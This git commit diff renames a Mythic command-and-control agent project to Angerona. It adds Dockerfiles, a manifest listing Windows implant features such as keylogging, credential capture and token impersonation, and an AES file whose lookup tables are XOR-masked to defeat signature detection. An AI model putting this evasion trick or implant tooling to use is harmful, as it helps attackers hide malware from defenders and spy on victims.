Rename project from Cazalla to Angerona
Complete rebrand: renamed all files, folders, code references, documentation, Docker paths, env vars, Makefile targets, Python classes, C structs/functions, and git remote URL. Replaced agent icons with new Angerona branding (light + dark mode SVGs). Fixed builder.py to reference SVG instead of PNG for Mythic icon path.
This commit is contained in:
@@ -0,0 +1,53 @@
|
||||
# Alternative Dockerfile for local development and customization
|
||||
# This Dockerfile ensures that local changes are always picked up
|
||||
# Use this if the standard Dockerfile doesn't pick up your changes
|
||||
|
||||
FROM itsafeaturemythic/mythic_python_base:latest
|
||||
|
||||
# --- ARGs que Mythic usa al construir payloads (mantenerlos) ---
|
||||
ARG CA_CERTIFICATE
|
||||
ARG NPM_REGISTRY
|
||||
ARG PYPI_INDEX
|
||||
ARG PYPI_INDEX_URL
|
||||
ARG DOCKER_REGISTRY_MIRROR
|
||||
ARG HTTP_PROXY
|
||||
ARG HTTPS_PROXY
|
||||
|
||||
# --- Evita prompts (tzdata) y builds no reproducibles ---
|
||||
ENV DEBIAN_FRONTEND=noninteractive \
|
||||
PIP_NO_CACHE_DIR=1
|
||||
|
||||
# --- Instala toolchain y utilidades necesarias para compilar agentes en C ---
|
||||
RUN apt-get update && \
|
||||
apt-get install -y --no-install-recommends \
|
||||
apt-utils ca-certificates git zip make build-essential \
|
||||
libssl-dev zlib1g-dev libbz2-dev xz-utils tk-dev libffi-dev \
|
||||
liblzma-dev libsqlite3-dev protobuf-compiler mingw-w64 nasm && \
|
||||
rm -rf /var/lib/apt/lists/*
|
||||
|
||||
# --- Reconfirma pip y setuptools actualizados (ya viene, pero por si acaso) ---
|
||||
RUN python -m pip install --upgrade pip setuptools wheel
|
||||
|
||||
# --- Instala tus dependencias (sin reinstalar mythic-container) ---
|
||||
COPY requirements.txt /
|
||||
RUN pip install --no-cache-dir --no-deps -r /requirements.txt
|
||||
|
||||
# --- Variables de entorno necesarias para comunicación con Mythic Core ---
|
||||
ENV MYTHIC_SERVER_HOST="mythic_server"
|
||||
ENV MYTHIC_SERVER_PORT="17443"
|
||||
ENV MYTHIC_SERVER_USERNAME="mythic_admin"
|
||||
ENV MYTHIC_SERVER_PASSWORD="mythic_password"
|
||||
|
||||
# --- Copia tu código de translator de forma explícita ---
|
||||
# Esto asegura que todos los cambios locales se copien correctamente
|
||||
WORKDIR /Mythic/
|
||||
|
||||
# Copiar estructura completa del proyecto
|
||||
COPY ./ /Mythic/angerona/
|
||||
|
||||
# Asegurar que los permisos sean correctos para Python
|
||||
RUN chmod -R a+rX /Mythic/angerona/
|
||||
|
||||
# --- Comando por defecto ---
|
||||
CMD ["python3", "main.py"]
|
||||
|
||||
@@ -0,0 +1,69 @@
|
||||
# Git files
|
||||
.git
|
||||
.gitignore
|
||||
.gitattributes
|
||||
|
||||
# Python cache
|
||||
__pycache__/
|
||||
*.py[cod]
|
||||
*$py.class
|
||||
*.so
|
||||
.Python
|
||||
*.egg-info/
|
||||
dist/
|
||||
build/
|
||||
*.egg
|
||||
|
||||
# Virtual environments
|
||||
venv/
|
||||
env/
|
||||
ENV/
|
||||
|
||||
# IDE files
|
||||
.vscode/
|
||||
.idea/
|
||||
*.swp
|
||||
*.swo
|
||||
*~
|
||||
|
||||
# OS files
|
||||
.DS_Store
|
||||
Thumbs.db
|
||||
|
||||
# Build artifacts
|
||||
*.exe
|
||||
*.dll
|
||||
*.o
|
||||
*.obj
|
||||
*.a
|
||||
*.lib
|
||||
build/
|
||||
*.pdb
|
||||
*.ilk
|
||||
|
||||
# Logs
|
||||
*.log
|
||||
|
||||
# Documentation (optional - remove if you want to include docs in container)
|
||||
*.md
|
||||
LICENSE*
|
||||
|
||||
# Test files (optional - remove if you want tests in container)
|
||||
test/
|
||||
tests/
|
||||
*_test.py
|
||||
test_*.py
|
||||
|
||||
# Temporary files
|
||||
*.tmp
|
||||
*.bak
|
||||
*.cache
|
||||
|
||||
# Mythic specific (don't copy these as they're managed by Mythic)
|
||||
.env
|
||||
docker-compose.yml
|
||||
mythic-cli
|
||||
|
||||
# Agent code build directories (will be built inside container)
|
||||
angerona/agent_code/angerona/build/
|
||||
|
||||
@@ -0,0 +1,53 @@
|
||||
FROM itsafeaturemythic/mythic_python_base:latest
|
||||
|
||||
# --- ARGs que Mythic usa al construir payloads (mantenerlos) ---
|
||||
ARG CA_CERTIFICATE
|
||||
ARG NPM_REGISTRY
|
||||
ARG PYPI_INDEX
|
||||
ARG PYPI_INDEX_URL
|
||||
ARG DOCKER_REGISTRY_MIRROR
|
||||
ARG HTTP_PROXY
|
||||
ARG HTTPS_PROXY
|
||||
|
||||
# --- Evita prompts (tzdata) y builds no reproducibles ---
|
||||
ENV DEBIAN_FRONTEND=noninteractive \
|
||||
PIP_NO_CACHE_DIR=1
|
||||
|
||||
# --- Instala toolchain y utilidades necesarias para compilar agentes en C ---
|
||||
RUN apt-get update && \
|
||||
apt-get install -y --no-install-recommends \
|
||||
apt-utils ca-certificates git zip make build-essential \
|
||||
libssl-dev zlib1g-dev libbz2-dev xz-utils tk-dev libffi-dev \
|
||||
liblzma-dev libsqlite3-dev protobuf-compiler mingw-w64 nasm docker.io && \
|
||||
rm -rf /var/lib/apt/lists/*
|
||||
|
||||
# Create the /tmp/converter directory For OLLVM
|
||||
RUN mkdir -p /tmp/converter
|
||||
|
||||
# --- Reconfirma pip y setuptools actualizados (ya viene, pero por si acaso) ---
|
||||
RUN python -m pip install --upgrade pip setuptools wheel
|
||||
|
||||
# --- Instala tus dependencias (sin reinstalar mythic-container) ---
|
||||
COPY requirements.txt /
|
||||
RUN pip install --no-cache-dir --no-deps -r /requirements.txt
|
||||
|
||||
# --- Variables de entorno necesarias para comunicación con Mythic Core ---
|
||||
ENV MYTHIC_SERVER_HOST="mythic_server"
|
||||
ENV MYTHIC_SERVER_PORT="17443"
|
||||
ENV MYTHIC_SERVER_USERNAME="mythic_admin"
|
||||
ENV MYTHIC_SERVER_PASSWORD="mythic_password"
|
||||
|
||||
# --- Variables de entorno para Syslog Logging Container (opcional) ---
|
||||
# El logger lee la configuración desde logger/syslog.conf (recomendado)
|
||||
# También puede leer desde variables de entorno si están configuradas
|
||||
ENV SYSLOG_SERVER=""
|
||||
ENV SYSLOG_PORT="514"
|
||||
ENV SYSLOG_FACILITY="16"
|
||||
|
||||
# --- Copia tu código de translator ---
|
||||
# This COPY ensures local changes are included when USE_BUILD_CONTEXT=true
|
||||
WORKDIR /Mythic/
|
||||
COPY ./ /Mythic/angerona/
|
||||
|
||||
# --- Comando por defecto ---
|
||||
CMD ["python3", "main.py"]
|
||||
@@ -0,0 +1,33 @@
|
||||
{
|
||||
"os": ["Windows"],
|
||||
"languages": ["C"],
|
||||
"features": {
|
||||
"mythic": [
|
||||
"Artifacts",
|
||||
"Credentials",
|
||||
"Process Browser",
|
||||
"File Browser",
|
||||
"Keylogging",
|
||||
"Tokens",
|
||||
"Screenshots",
|
||||
"SOCKS Proxy",
|
||||
"Reverse Port Forward",
|
||||
"Context Tracking",
|
||||
"Download Files",
|
||||
"Upload Files"
|
||||
],
|
||||
"custom": [
|
||||
"AES-256-CBC Encryption with HMAC-SHA256",
|
||||
"Process Termination",
|
||||
"Token Impersonation",
|
||||
"Dynamic Sleep Adjustment"
|
||||
]
|
||||
},
|
||||
"payload_output": ["exe", "dll"],
|
||||
"architectures": ["x64", "x86"],
|
||||
"c2": ["http"],
|
||||
"supported_wrappers": [],
|
||||
"mythic_version": "3.3",
|
||||
"agent_version": "1.0.0"
|
||||
}
|
||||
|
||||
@@ -0,0 +1,20 @@
|
||||
import glob
|
||||
import os.path
|
||||
from pathlib import Path
|
||||
from importlib import import_module, invalidate_caches
|
||||
import sys
|
||||
# Get file paths of all modules.
|
||||
|
||||
currentPath = Path(__file__)
|
||||
searchPath = currentPath.parent / "agent_functions" / "*.py"
|
||||
modules = glob.glob(f"{searchPath}")
|
||||
invalidate_caches()
|
||||
for x in modules:
|
||||
if not x.endswith("__init__.py") and x[-3:] == ".py":
|
||||
module = import_module(f"{__name__}.agent_functions." + Path(x).stem)
|
||||
for el in dir(module):
|
||||
if "__" not in el:
|
||||
globals()[el] = getattr(module, el)
|
||||
|
||||
|
||||
sys.path.append(os.path.abspath(currentPath.name))
|
||||
Binary file not shown.
@@ -0,0 +1,636 @@
|
||||
/*
|
||||
|
||||
This is an implementation of the AES algorithm, specifically ECB, CTR and CBC mode.
|
||||
Block size can be chosen in aes.h - available choices are AES128, AES192, AES256.
|
||||
|
||||
The implementation is verified against the test vectors in:
|
||||
National Institute of Standards and Technology Special Publication 800-38A 2001 ED
|
||||
|
||||
ECB-AES128
|
||||
----------
|
||||
|
||||
plain-text:
|
||||
6bc1bee22e409f96e93d7e117393172a
|
||||
ae2d8a571e03ac9c9eb76fac45af8e51
|
||||
30c81c46a35ce411e5fbc1191a0a52ef
|
||||
f69f2445df4f9b17ad2b417be66c3710
|
||||
|
||||
key:
|
||||
2b7e151628aed2a6abf7158809cf4f3c
|
||||
|
||||
resulting cipher
|
||||
3ad77bb40d7a3660a89ecaf32466ef97
|
||||
f5d3d58503b9699de785895a96fdbaaf
|
||||
43b1cd7f598ece23881b00e3ed030688
|
||||
7b0c785e27e8ad3f8223207104725dd4
|
||||
|
||||
|
||||
NOTE: String length must be evenly divisible by 16byte (str_len % 16 == 0)
|
||||
You should pad the end of the string with zeros if this is not the case.
|
||||
For AES192/256 the key size is proportionally larger.
|
||||
|
||||
*/
|
||||
|
||||
|
||||
/*****************************************************************************/
|
||||
/* Includes: */
|
||||
/*****************************************************************************/
|
||||
#include <string.h> // CBC mode, for memset
|
||||
#include "Aes.h"
|
||||
|
||||
/*****************************************************************************/
|
||||
/* Defines: */
|
||||
/*****************************************************************************/
|
||||
// The number of columns comprising a state in AES. This is a constant in AES. Value=4
|
||||
#define Nb 4
|
||||
|
||||
#if defined(AES256) && (AES256 == 1)
|
||||
#define Nk 8
|
||||
#define Nr 14
|
||||
#elif defined(AES192) && (AES192 == 1)
|
||||
#define Nk 6
|
||||
#define Nr 12
|
||||
#else
|
||||
#define Nk 4 // The number of 32 bit words in a key.
|
||||
#define Nr 10 // The number of rounds in AES Cipher.
|
||||
#endif
|
||||
|
||||
// jcallan@github points out that declaring Multiply as a function
|
||||
// reduces code size considerably with the Keil ARM compiler.
|
||||
// See this link for more information: https://github.com/kokke/tiny-AES-C/pull/3
|
||||
#ifndef MULTIPLY_AS_A_FUNCTION
|
||||
#define MULTIPLY_AS_A_FUNCTION 0
|
||||
#endif
|
||||
|
||||
|
||||
|
||||
|
||||
/*****************************************************************************/
|
||||
/* Private variables: */
|
||||
/*****************************************************************************/
|
||||
// state - array holding the intermediate results during decryption.
|
||||
typedef uint8_t state_t[4][4];
|
||||
|
||||
|
||||
|
||||
// The lookup-tables are marked const so they can be placed in read-only storage instead of RAM
|
||||
// The numbers below can be computed dynamically trading ROM for RAM -
|
||||
// This can be useful in (embedded) bootloader applications, where ROM is often limited.
|
||||
//static const uint8_t sbox[256] = {
|
||||
// //0 1 2 3 4 5 6 7 8 9 A B C D E F
|
||||
// 0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76,
|
||||
// 0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0,
|
||||
// 0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15,
|
||||
// 0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75,
|
||||
// 0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84,
|
||||
// 0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf,
|
||||
// 0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8,
|
||||
// 0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2,
|
||||
// 0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73,
|
||||
// 0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb,
|
||||
// 0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79,
|
||||
// 0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08,
|
||||
// 0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a,
|
||||
// 0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e,
|
||||
// 0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf,
|
||||
// 0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16 }; // original
|
||||
|
||||
// custom sbox value XORed by ^ 0x55
|
||||
static const uint8_t sbox[256] = {
|
||||
//0 1 2 3 4 5 6 7 8 9 A B C D E F
|
||||
0x36,0x29,0x22,0x2e,0xa7,0x3e,0x3a,0x90,0x65,0x54,0x32,0x7e,0xab,0x82,0xfe,0x23,0x9f,0xd7,0x9c,
|
||||
0x28,0xaf,0x0c,0x12,0xa5,0xf8,0x81,0xf7,0xfa,0xc9,0xf1,0x27,0x95,0xe2,0xa8,0xc6,0x73,0x63,0x6a,
|
||||
0xa2,0x99,0x61,0xf0,0xb0,0xa4,0x24,0x8d,0x64,0x40,0x51,0x92,0x76,0x96,0x4d,0xc3,0x50,0xcf,0x52,
|
||||
0x47,0xd5,0xb7,0xbe,0x72,0xe7,0x20,0x5c,0xd6,0x79,0x4f,0x4e,0x3b,0x0f,0xf5,0x07,0x6e,0x83,0xe6,
|
||||
0x7c,0xb6,0x7a,0xd1,0x06,0x84,0x55,0xb8,0x75,0xa9,0xe4,0x0e,0x3f,0x9e,0xeb,0x6c,0x1f,0x19,0x0d,
|
||||
0x9a,0x85,0xba,0xff,0xae,0x16,0x18,0x66,0xd0,0x10,0xac,0x57,0x2a,0x05,0x69,0xca,0xfd,0x04,0xf6,
|
||||
0x15,0xda,0xc7,0xc8,0x6d,0xa0,0xe9,0xe3,0x8f,0x74,0x45,0xaa,0xa6,0x87,0x98,0x59,0x46,0xb9,0x0a,
|
||||
0xc2,0x11,0x42,0x91,0xf2,0x2b,0x68,0x31,0x08,0x4c,0x26,0x35,0xd4,0x1a,0x89,0x77,0x7f,0xc5,0xdd,
|
||||
0x13,0xbb,0xed,0x41,0x8b,0x0b,0x5e,0x8e,0xb5,0x67,0x6f,0x5f,0x1c,0x53,0x71,0x09,0x97,0x86,0xf9,
|
||||
0x37,0xc4,0xc0,0xb1,0x2c,0xb2,0x9d,0x62,0x38,0xd8,0x80,0x1b,0xfc,0x39,0x03,0xa1,0xbf,0x30,0x2f,
|
||||
0xfb,0x5d,0xef,0x2d,0x70,0x7b,0x49,0xf3,0xe1,0x93,0xbd,0x88,0x21,0x4a,0x1e,0xe8,0xde,0xdf,0x25,
|
||||
0x6b,0xe0,0x33,0x1d,0x56,0xa3,0x5b,0x34,0x60,0x02,0xec,0xd3,0x94,0x48,0xcb,0xb4,0xad,0xcd,0x44,
|
||||
0x3c,0x8c,0xdb,0xc1,0xce,0x4b,0xd2,0xbc,0x9b,0x00,0x7d,0x8a,0xd9,0xf4,0xdc,0x58,0xea,0xb3,0x17,
|
||||
0x3d,0x14,0xcc,0x78,0x5a,0xe5,0x01,0xee,0x43 };
|
||||
|
||||
|
||||
#if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1)
|
||||
//static const uint8_t rsbox[256] = {
|
||||
// 0x52, 0x09, 0x6a, 0xd5, 0x30, 0x36, 0xa5, 0x38, 0xbf, 0x40, 0xa3, 0x9e, 0x81, 0xf3, 0xd7, 0xfb,
|
||||
// 0x7c, 0xe3, 0x39, 0x82, 0x9b, 0x2f, 0xff, 0x87, 0x34, 0x8e, 0x43, 0x44, 0xc4, 0xde, 0xe9, 0xcb,
|
||||
// 0x54, 0x7b, 0x94, 0x32, 0xa6, 0xc2, 0x23, 0x3d, 0xee, 0x4c, 0x95, 0x0b, 0x42, 0xfa, 0xc3, 0x4e,
|
||||
// 0x08, 0x2e, 0xa1, 0x66, 0x28, 0xd9, 0x24, 0xb2, 0x76, 0x5b, 0xa2, 0x49, 0x6d, 0x8b, 0xd1, 0x25,
|
||||
// 0x72, 0xf8, 0xf6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xd4, 0xa4, 0x5c, 0xcc, 0x5d, 0x65, 0xb6, 0x92,
|
||||
// 0x6c, 0x70, 0x48, 0x50, 0xfd, 0xed, 0xb9, 0xda, 0x5e, 0x15, 0x46, 0x57, 0xa7, 0x8d, 0x9d, 0x84,
|
||||
// 0x90, 0xd8, 0xab, 0x00, 0x8c, 0xbc, 0xd3, 0x0a, 0xf7, 0xe4, 0x58, 0x05, 0xb8, 0xb3, 0x45, 0x06,
|
||||
// 0xd0, 0x2c, 0x1e, 0x8f, 0xca, 0x3f, 0x0f, 0x02, 0xc1, 0xaf, 0xbd, 0x03, 0x01, 0x13, 0x8a, 0x6b,
|
||||
// 0x3a, 0x91, 0x11, 0x41, 0x4f, 0x67, 0xdc, 0xea, 0x97, 0xf2, 0xcf, 0xce, 0xf0, 0xb4, 0xe6, 0x73,
|
||||
// 0x96, 0xac, 0x74, 0x22, 0xe7, 0xad, 0x35, 0x85, 0xe2, 0xf9, 0x37, 0xe8, 0x1c, 0x75, 0xdf, 0x6e,
|
||||
// 0x47, 0xf1, 0x1a, 0x71, 0x1d, 0x29, 0xc5, 0x89, 0x6f, 0xb7, 0x62, 0x0e, 0xaa, 0x18, 0xbe, 0x1b,
|
||||
// 0xfc, 0x56, 0x3e, 0x4b, 0xc6, 0xd2, 0x79, 0x20, 0x9a, 0xdb, 0xc0, 0xfe, 0x78, 0xcd, 0x5a, 0xf4,
|
||||
// 0x1f, 0xdd, 0xa8, 0x33, 0x88, 0x07, 0xc7, 0x31, 0xb1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xec, 0x5f,
|
||||
// 0x60, 0x51, 0x7f, 0xa9, 0x19, 0xb5, 0x4a, 0x0d, 0x2d, 0xe5, 0x7a, 0x9f, 0x93, 0xc9, 0x9c, 0xef,
|
||||
// 0xa0, 0xe0, 0x3b, 0x4d, 0xae, 0x2a, 0xf5, 0xb0, 0xc8, 0xeb, 0xbb, 0x3c, 0x83, 0x53, 0x99, 0x61,
|
||||
// 0x17, 0x2b, 0x04, 0x7e, 0xba, 0x77, 0xd6, 0x26, 0xe1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0c, 0x7d };
|
||||
|
||||
// custom rsbox value XORed by ^ 0x55
|
||||
static const uint8_t rsbox[256] = {
|
||||
0x07,0x5c,0x3f,0x80,0x65,0x63,0xf0,0x6d,0xea,0x15,0xf6,0xcb,0xd4,0xa6,0x82,0xae,0x29,0xb6,0x6c,
|
||||
0xd7,0xce,0x7a,0xaa,0xd2,0x61,0xdb,0x16,0x11,0x91,0x8b,0xbc,0x9e,0x01,0x2e,0xc1,0x67,0xf3,0x97,
|
||||
0x76,0x68,0xbb,0x19,0xc0,0x5e,0x17,0xaf,0x96,0x1b,0x5d,0x7b,0xf4,0x33,0x7d,0x8c,0x71,0xe7,0x23,
|
||||
0x0e,0xf7,0x1c,0x38,0xde,0x84,0x70,0x27,0xad,0xa3,0x31,0xd3,0x3d,0xcd,0x43,0x81,0xf1,0x09,0x99,
|
||||
0x08,0x30,0xe3,0xc7,0x39,0x25,0x1d,0x05,0xa8,0xb8,0xec,0x8f,0x0b,0x40,0x13,0x02,0xf2,0xd8,0xc8,
|
||||
0xd1,0xc5,0x8d,0xfe,0x55,0xd9,0xe9,0x86,0x5f,0xa2,0xb1,0x0d,0x50,0xed,0xe6,0x10,0x53,0x85,0x79,
|
||||
0x4b,0xda,0x9f,0x6a,0x5a,0x57,0x94,0xfa,0xe8,0x56,0x54,0x46,0xdf,0x3e,0x6f,0xc4,0x44,0x14,0x1a,
|
||||
0x32,0x89,0xbf,0xc2,0xa7,0x9a,0x9b,0xa5,0xe1,0xb3,0x26,0xc3,0xf9,0x21,0x77,0xb2,0xf8,0x60,0xd0,
|
||||
0xb7,0xac,0x62,0xbd,0x49,0x20,0x8a,0x3b,0x12,0xa4,0x4f,0x24,0x48,0x7c,0x90,0xdc,0x3a,0xe2,0x37,
|
||||
0x5b,0xff,0x4d,0xeb,0x4e,0xa9,0x03,0x6b,0x1e,0x93,0x87,0x2c,0x75,0xcf,0x8e,0x95,0xab,0x2d,0x98,
|
||||
0x0f,0xa1,0x4a,0x88,0xfd,0x66,0xdd,0x52,0x92,0x64,0xe4,0x47,0x45,0x0c,0x72,0xd5,0xb9,0x0a,0x35,
|
||||
0x04,0x2a,0xfc,0x4c,0xe0,0x1f,0x58,0x78,0xb0,0x2f,0xca,0xc6,0x9c,0xc9,0xba,0xf5,0xb5,0x6e,0x18,
|
||||
0xfb,0x7f,0xa0,0xe5,0x9d,0xbe,0xee,0x69,0xd6,0x06,0xcc,0x34,0x42,0x7e,0x51,0x2b,0xef,0x22,0x83,
|
||||
0x73,0xb4,0x3c,0x41,0x36,0x00,0x74,0x59,0x28 };
|
||||
|
||||
#endif
|
||||
|
||||
// The round constant word array, Rcon[i], contains the values given by
|
||||
// x to the power (i-1) being powers of x (x is denoted as {02}) in the field GF(2^8)
|
||||
//static const uint8_t Rcon[11] = {
|
||||
// 0x8d, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36 }; //original line
|
||||
|
||||
static const uint8_t Rcon[11] = {
|
||||
0xd8,0x54,0x57,0x51,0x5d,0x45,0x75,0x15,0xd5,0x4e,0x63 };
|
||||
|
||||
#define getRcon(num) (Rcon[num] ^ 0x55)
|
||||
|
||||
/*
|
||||
* Jordan Goulder points out in PR #12 (https://github.com/kokke/tiny-AES-C/pull/12),
|
||||
* that you can remove most of the elements in the Rcon array, because they are unused.
|
||||
*
|
||||
* From Wikipedia's article on the Rijndael key schedule @ https://en.wikipedia.org/wiki/Rijndael_key_schedule#Rcon
|
||||
*
|
||||
* "Only the first some of these constants are actually used – up to rcon[10] for AES-128 (as 11 round keys are needed),
|
||||
* up to rcon[8] for AES-192, up to rcon[7] for AES-256. rcon[0] is not used in AES algorithm."
|
||||
*/
|
||||
|
||||
|
||||
/*****************************************************************************/
|
||||
/* Private functions: */
|
||||
/*****************************************************************************/
|
||||
/*
|
||||
static uint8_t getSBoxValue(uint8_t num)
|
||||
{
|
||||
return sbox[num];
|
||||
}
|
||||
*/
|
||||
|
||||
// My Added Xor Function
|
||||
//void XOR(char* data, size_t data_len, char* key, size_t key_len) {
|
||||
// int j;
|
||||
//
|
||||
// j = 0;
|
||||
// for (int i = 0; i < data_len; i++) {
|
||||
// if (j == key_len - 1) j = 0;
|
||||
//
|
||||
// data[i] = data[i] ^ key[j];
|
||||
// j++;
|
||||
// }
|
||||
//}
|
||||
|
||||
//Replace with xor to remove static strings
|
||||
//#define getSBoxValue(num) (sbox[(num)]) // original line
|
||||
#define origGetSBoxValue(num) (sbox[(num)])
|
||||
#define getSBoxValue(num) (origGetSBoxValue(num) ^ 0x55) // Example XOR value
|
||||
|
||||
|
||||
// This function produces Nb(Nr+1) round keys. The round keys are used in each round to decrypt the states.
|
||||
static void KeyExpansion(uint8_t* RoundKey, const uint8_t* Key)
|
||||
{
|
||||
unsigned i, j, k;
|
||||
uint8_t tempa[4]; // Used for the column/row operations
|
||||
|
||||
// The first round key is the key itself.
|
||||
for (i = 0; i < Nk; ++i)
|
||||
{
|
||||
RoundKey[(i * 4) + 0] = Key[(i * 4) + 0];
|
||||
RoundKey[(i * 4) + 1] = Key[(i * 4) + 1];
|
||||
RoundKey[(i * 4) + 2] = Key[(i * 4) + 2];
|
||||
RoundKey[(i * 4) + 3] = Key[(i * 4) + 3];
|
||||
}
|
||||
|
||||
// All other round keys are found from the previous round keys.
|
||||
for (i = Nk; i < Nb * (Nr + 1); ++i)
|
||||
{
|
||||
{
|
||||
k = (i - 1) * 4;
|
||||
tempa[0]=RoundKey[k + 0];
|
||||
tempa[1]=RoundKey[k + 1];
|
||||
tempa[2]=RoundKey[k + 2];
|
||||
tempa[3]=RoundKey[k + 3];
|
||||
|
||||
}
|
||||
|
||||
if (i % Nk == 0)
|
||||
{
|
||||
// This function shifts the 4 bytes in a word to the left once.
|
||||
// [a0,a1,a2,a3] becomes [a1,a2,a3,a0]
|
||||
|
||||
// Function RotWord()
|
||||
{
|
||||
const uint8_t u8tmp = tempa[0];
|
||||
tempa[0] = tempa[1];
|
||||
tempa[1] = tempa[2];
|
||||
tempa[2] = tempa[3];
|
||||
tempa[3] = u8tmp;
|
||||
}
|
||||
|
||||
// SubWord() is a function that takes a four-byte input word and
|
||||
// applies the S-box to each of the four bytes to produce an output word.
|
||||
|
||||
// Function Subword()
|
||||
{
|
||||
tempa[0] = getSBoxValue(tempa[0]);
|
||||
tempa[1] = getSBoxValue(tempa[1]);
|
||||
tempa[2] = getSBoxValue(tempa[2]);
|
||||
tempa[3] = getSBoxValue(tempa[3]);
|
||||
}
|
||||
|
||||
tempa[0] = tempa[0] ^ getRcon(i/Nk);
|
||||
}
|
||||
#if defined(AES256) && (AES256 == 1)
|
||||
if (i % Nk == 4)
|
||||
{
|
||||
// Function Subword()
|
||||
{
|
||||
tempa[0] = getSBoxValue(tempa[0]);
|
||||
tempa[1] = getSBoxValue(tempa[1]);
|
||||
tempa[2] = getSBoxValue(tempa[2]);
|
||||
tempa[3] = getSBoxValue(tempa[3]);
|
||||
}
|
||||
}
|
||||
#endif
|
||||
j = i * 4; k=(i - Nk) * 4;
|
||||
RoundKey[j + 0] = RoundKey[k + 0] ^ tempa[0];
|
||||
RoundKey[j + 1] = RoundKey[k + 1] ^ tempa[1];
|
||||
RoundKey[j + 2] = RoundKey[k + 2] ^ tempa[2];
|
||||
RoundKey[j + 3] = RoundKey[k + 3] ^ tempa[3];
|
||||
}
|
||||
}
|
||||
|
||||
void AES_init_ctx(struct AES_ctx* ctx, const uint8_t* key)
|
||||
{
|
||||
KeyExpansion(ctx->RoundKey, key);
|
||||
}
|
||||
#if (defined(CBC) && (CBC == 1)) || (defined(CTR) && (CTR == 1))
|
||||
void AES_init_ctx_iv(struct AES_ctx* ctx, const uint8_t* key, const uint8_t* iv)
|
||||
{
|
||||
KeyExpansion(ctx->RoundKey, key);
|
||||
memcpy (ctx->Iv, iv, AES_BLOCKLEN);
|
||||
}
|
||||
void AES_ctx_set_iv(struct AES_ctx* ctx, const uint8_t* iv)
|
||||
{
|
||||
memcpy (ctx->Iv, iv, AES_BLOCKLEN);
|
||||
}
|
||||
#endif
|
||||
|
||||
// This function adds the round key to state.
|
||||
// The round key is added to the state by an XOR function.
|
||||
static void AddRoundKey(uint8_t round, state_t* state, const uint8_t* RoundKey)
|
||||
{
|
||||
uint8_t i,j;
|
||||
for (i = 0; i < 4; ++i)
|
||||
{
|
||||
for (j = 0; j < 4; ++j)
|
||||
{
|
||||
(*state)[i][j] ^= RoundKey[(round * Nb * 4) + (i * Nb) + j];
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// The SubBytes Function Substitutes the values in the
|
||||
// state matrix with values in an S-box.
|
||||
static void SubBytes(state_t* state)
|
||||
{
|
||||
uint8_t i, j;
|
||||
for (i = 0; i < 4; ++i)
|
||||
{
|
||||
for (j = 0; j < 4; ++j)
|
||||
{
|
||||
(*state)[j][i] = getSBoxValue((*state)[j][i]);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// The ShiftRows() function shifts the rows in the state to the left.
|
||||
// Each row is shifted with different offset.
|
||||
// Offset = Row number. So the first row is not shifted.
|
||||
static void ShiftRows(state_t* state)
|
||||
{
|
||||
uint8_t temp;
|
||||
|
||||
// Rotate first row 1 columns to left
|
||||
temp = (*state)[0][1];
|
||||
(*state)[0][1] = (*state)[1][1];
|
||||
(*state)[1][1] = (*state)[2][1];
|
||||
(*state)[2][1] = (*state)[3][1];
|
||||
(*state)[3][1] = temp;
|
||||
|
||||
// Rotate second row 2 columns to left
|
||||
temp = (*state)[0][2];
|
||||
(*state)[0][2] = (*state)[2][2];
|
||||
(*state)[2][2] = temp;
|
||||
|
||||
temp = (*state)[1][2];
|
||||
(*state)[1][2] = (*state)[3][2];
|
||||
(*state)[3][2] = temp;
|
||||
|
||||
// Rotate third row 3 columns to left
|
||||
